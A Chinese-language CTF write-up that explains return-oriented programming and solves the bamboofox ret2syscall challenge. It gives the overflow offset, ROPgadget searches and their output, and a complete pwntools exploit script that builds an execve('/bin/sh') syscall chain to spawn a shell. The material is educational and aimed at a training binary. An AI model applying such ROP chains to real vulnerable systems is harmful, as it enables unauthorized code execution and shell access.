本例题会使用ROP技术来绕过堆栈不可执行保护(NX保护),随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
那么ret2text——程序中有system("/bin/sh")代码段,控制流执行
那么ret2shellcode——程序中不存在system("/bin/sh/")的代码段,自己恶意填入代码并在可执行段执行
那么ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用
有些抽象。这就好比是一个函数,选好了合适的函数名(某个特殊寄存器的特殊的值),你设定好了参数(其他寄存器的特殊的值),并call 这个函数(一个特殊的语句),就能够执行这个函数(产生作用)
系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
使用int 80执行系统调用,这也是execve("/bin/sh/",NULL,NULL)的底层效果,返回了shell
使用checksec 发现只是开启了NX保护,file一下发现是静态链接,所以可以尝试使用ret2syscall。
使用的例题还是CTF-wiki里的bamboofox-ret2syscall文件夹下的rop文件,其md5值为:e7f8665936ee7011654bea6aca0c6d06
在Linux下可以使用“md5sum filename”命令计算MD5值
1.IDA反编译寻找漏洞
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 int v4; // [esp+1Ch] [ebp-64h] BYREF 4 5 setvbuf(stdout, 0, 2, 0); 6 setvbuf(stdin, 0, 1, 0); 7 puts("This time, no system() and NO SHELLCODE!!!"); 8 puts("What do you plan to do?"); 9 gets(&v4); 10 return 0; 11 }
明显地,main函数里边的gets函数会造成缓冲区溢出。用pattern create和pattern_offset计算出buf到溢出点偏移有112字节。
注意:因为main函数里边计算的话需要额外加8字节才能正确计算处return address,0x64+0x4+0x8=0x70=112
2.寻找gadget
使用ROPgadget命令查询都有哪些pop 特定寄存器 ret的命令,然后一步步pop ret构造程序控制流
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --only 'pop|ret' | grep 'ecx'
ROPgadget --binary rop --only 'pop|ret' | grep 'edx'
1 └─$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 2 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 3 0x080bb196 : pop eax ; ret 4 0x0807217a : pop eax ; ret 0x80e 5 0x0804f704 : pop eax ; ret 3 6 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
选第三行的这个 因为其他的影响其他寄存器。
然后依次执行ROPgadget 命令寻找gadgets,然后发现下面的gadget一条就解决剩余三个寄存器的问题
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
用ROPgadget --binary rop --string '/bin/sh'寻找是否有/bin/sh字符串
ROPgadget --binary rop --string '/bin/sh' Strings information ============================================================ 0x080be408 : /bin/sh
还需要有触发系统中断的int 80语句
┌──(hath㉿kali)-[~/Desktop/CTF/bamboofox-ret2syscall] └─$ ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 Unique gadgets found: 1
基于上边的这四条我们可以构造我们的栈帧结构。
3.exp
1 #!/usr/bin/env python 2 from pwn import * 3 4 sh = process('./rop') 5 6 pop_eax_ret = 0x080bb196 7 pop_edx_ecx_ebx_ret = 0x0806eb90 8 int_0x80 = 0x08049421 9 binsh = 0x80be408 10 payload = flat( 11 ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) 12 sh.sendline(payload) 13 sh.interactive()
标签:bin,03,--,ret,NX,rop,sh,pop,ROP From: https://www.cnblogs.com/kenwblack/p/18286714